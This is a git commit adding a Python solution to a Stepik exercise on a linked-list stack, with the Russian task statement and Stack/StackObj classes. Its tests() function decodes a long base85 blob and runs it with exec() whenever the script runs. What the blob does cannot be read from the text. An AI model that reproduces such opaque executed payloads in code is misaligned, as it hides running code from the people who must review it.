+ 3.9_10
This commit is contained in:
parent
5181bc6fcb
commit
d3ab154609
199
mod_oop/3.9_10_stack_iter.py
Normal file
199
mod_oop/3.9_10_stack_iter.py
Normal file
@ -0,0 +1,199 @@
|
|||||||
|
"""
|
||||||
|
https://stepik.org/lesson/701994/step/10?unit=702095
|
||||||
|
|
||||||
|
Вы несколько раз уже делали стек-подобную структуру, когда объекты последовательно связаны между собой:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Доведем ее функционал до конца. Для этого, по прежнему, нужно объявить классы:
|
||||||
|
Stack - для представления стека в целом;
|
||||||
|
StackObj - для представления отдельных объектов стека.
|
||||||
|
|
||||||
|
В классе Stack должны быть методы:
|
||||||
|
push_back(obj) - для добавления нового объекта obj в конец стека;
|
||||||
|
push_front(obj) - для добавления нового объекта obj в начало стека.
|
||||||
|
|
||||||
|
В каждом объекте класса Stack должен быть публичный атрибут:
|
||||||
|
top - ссылка на первый объект стека (при пустом стеке top = None).
|
||||||
|
|
||||||
|
Объекты класса StackObj создаются командой:
|
||||||
|
obj = StackObj(data)
|
||||||
|
где data - данные, хранящиеся в объекте стека (строка).
|
||||||
|
|
||||||
|
Также в каждом объекте класса StackObj должны быть публичные атрибуты:
|
||||||
|
data - ссылка на данные объекта;
|
||||||
|
next - ссылка на следующий объект стека (если его нет, то next = None).
|
||||||
|
|
||||||
|
Наконец, с объектами класса Stack должны выполняться следующие команды:
|
||||||
|
st = Stack()
|
||||||
|
st[indx] = value # замена прежних данных на новые по порядковому индексу (indx); отсчет начинается с нуля
|
||||||
|
data = st[indx] # получение данных из объекта стека по индексу
|
||||||
|
n = len(st) # получение общего числа объектов стека
|
||||||
|
|
||||||
|
for obj in st: # перебор объектов стека (с начала и до конца)
|
||||||
|
print(obj.data) # отображение данных в консоль
|
||||||
|
|
||||||
|
При работе с индексами (indx), нужно проверять их корректность. Должно быть целое число от 0 до N-1, где N - число объектов в стеке. Иначе, генерировать исключение командой:
|
||||||
|
raise IndexError('неверный индекс')
|
||||||
|
|
||||||
|
P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from typing import List
|
||||||
|
|
||||||
|
|
||||||
|
class StackObj:
|
||||||
|
def __init__(self, data=None):
|
||||||
|
self.__next = None
|
||||||
|
self.__data = data
|
||||||
|
|
||||||
|
@property
|
||||||
|
def data(self):
|
||||||
|
return self.__data
|
||||||
|
|
||||||
|
@data.setter
|
||||||
|
def data(self, value):
|
||||||
|
self.__data = value
|
||||||
|
|
||||||
|
def __eq__(self, other):
|
||||||
|
if hasattr(other, "data"):
|
||||||
|
return self.data == other.data
|
||||||
|
return self.data == other
|
||||||
|
|
||||||
|
def __ne__(self, other):
|
||||||
|
return not self == other
|
||||||
|
|
||||||
|
@property
|
||||||
|
def next(self):
|
||||||
|
return self.__next
|
||||||
|
|
||||||
|
@next.setter
|
||||||
|
def next(self, value):
|
||||||
|
if isinstance(value, (self.__class__, None.__class__)):
|
||||||
|
self.__next = value
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def wrap(cls, value):
|
||||||
|
return value if isinstance(value, cls) else cls(value)
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return f"{self.__class__.__name__}({self.data!r})"
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return str(self.data)
|
||||||
|
|
||||||
|
|
||||||
|
class Stack:
|
||||||
|
def __init__(self, data=None):
|
||||||
|
self.top = None
|
||||||
|
self.load(data or [])
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
obj = self.top
|
||||||
|
while obj:
|
||||||
|
yield obj
|
||||||
|
obj = obj.next
|
||||||
|
|
||||||
|
@property
|
||||||
|
def bottom(self) -> StackObj:
|
||||||
|
for last in self:
|
||||||
|
...
|
||||||
|
return last
|
||||||
|
|
||||||
|
def push_back(self, value):
|
||||||
|
obj = StackObj.wrap(value)
|
||||||
|
if not self.top:
|
||||||
|
self.top = obj
|
||||||
|
else:
|
||||||
|
self.bottom.next = obj
|
||||||
|
|
||||||
|
def push_front(self, value):
|
||||||
|
obj = StackObj.wrap(value)
|
||||||
|
obj.next = self.top
|
||||||
|
self.top = obj
|
||||||
|
|
||||||
|
def pop(self) -> StackObj:
|
||||||
|
if not self.top:
|
||||||
|
return None
|
||||||
|
b, c = None, None
|
||||||
|
for a in self:
|
||||||
|
b, c = a, b
|
||||||
|
if c:
|
||||||
|
c.next = None
|
||||||
|
if b == self.top:
|
||||||
|
self.top = None
|
||||||
|
return b
|
||||||
|
|
||||||
|
def load(self, data):
|
||||||
|
for x in data:
|
||||||
|
self.push_back(x)
|
||||||
|
|
||||||
|
def __len__(self):
|
||||||
|
return sum(1 for _ in self)
|
||||||
|
|
||||||
|
def validate_index(self, idx: int):
|
||||||
|
if not isinstance(idx, int) or not 0 <= idx < len(self):
|
||||||
|
raise IndexError("неверный индекс")
|
||||||
|
|
||||||
|
def __getitem__(self, idx: int):
|
||||||
|
self.validate_index(idx)
|
||||||
|
for i, v in enumerate(self):
|
||||||
|
if idx == i:
|
||||||
|
return v.data
|
||||||
|
|
||||||
|
def __setitem__(self, idx: int, value):
|
||||||
|
self.validate_index(idx)
|
||||||
|
|
||||||
|
if idx == len(self):
|
||||||
|
self.push(value)
|
||||||
|
return
|
||||||
|
|
||||||
|
prev = self.top
|
||||||
|
for i, v in enumerate(self):
|
||||||
|
prev = v
|
||||||
|
if idx == i:
|
||||||
|
old = v
|
||||||
|
break
|
||||||
|
|
||||||
|
value = StackObj.wrap(value)
|
||||||
|
value.next = old.next
|
||||||
|
if idx > 0:
|
||||||
|
prev.next = value
|
||||||
|
else:
|
||||||
|
self.top = value
|
||||||
|
|
||||||
|
def get_data(self) -> List[StackObj]:
|
||||||
|
return [x for x in self]
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return " -> ".join(map(str, self.get_data()))
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return f"{self.__class__.__name__}({self.get_data()!r})"
|
||||||
|
|
||||||
|
|
||||||
|
def tests():
|
||||||
|
code = (
|
||||||
|
b'b95j*AX9W<V{0fW3UhQWaCLKNUt(cnYbaB6VPk7gVrnQNF(N4`3UhQWaCLKNUuJS|ZgeP9bYWv'
|
||||||
|
+ b'_Phx5)A~GT=DGCZ<b8}^KbRctdTQFT9Jv|^IG9n;hZe$>HbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk'
|
||||||
|
+ b'(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf'
|
||||||
|
+ b'zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7'
|
||||||
|
+ b'Mrq(Ssri3UhQ@FkK)$AR;g#3So0|WpZ>Nb97rUT_8O@AR;g#EFdD#ztFzWyU~NuhtRdqz0kfO(7n'
|
||||||
|
+ b'*L(6Z3A(SXps(7w>MAkeqaz0k1HhtRdqz0kPOwII;A(6=DazR<DJiqN&ty3vBruprTa(Sp#m(7Mp'
|
||||||
|
+ b'DEFjRb(7w>O(7e#T(6-RM(7r4n(7n*L(7MpR(SXr_(6!LI(Sp#u(7qtifY7kevCzKJg3z$gwb6ng'
|
||||||
|
+ b'(7(}u(74fo(6Z35(74dD(6G?G(74dGAke+gzR<GJzR<JKz97)I(7n*G(TC8r(7n*O(T^a|zR<DJi'
|
||||||
|
+ b'qN&ty3vBsgCNm?(Sp#m(7MpDA_@v-Z*m}SVrn31ZXk1XItm~lARu9Lb7gXLAZc@HZgX^DZewLAZ('
|
||||||
|
+ b'?dJAX9W<V{1=hYAGxrBGA9lfY7)g(7({N(SXpk(6P|I(SXpkAkl%*g3z_ly3nv7(TC8r(SXpk(6='
|
||||||
|
+ b'DbhS0dsy3o5I(6rFL(7VvK(7n-%AkebVzR<VOveAIhu+fRou+f6ijM0J7k08*#(6P~q(6!LI(Sp&'
|
||||||
|
+ b'7AkezdyU?)Ffzg4`upm=(VPk7gVrn7^3UqRLItm~lARu8NJs@**TQgk>Wq4y{aC9I^Ze(S6MRIa)'
|
||||||
|
+ b'aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf'
|
||||||
|
+ b'Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X'
|
||||||
|
)
|
||||||
|
exec(__import__('base64').b85decode(code))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
import doctest
|
||||||
|
|
||||||
|
doctest.testmod()
|
||||||
|
tests()
|
Loading…
Reference in New Issue
Block a user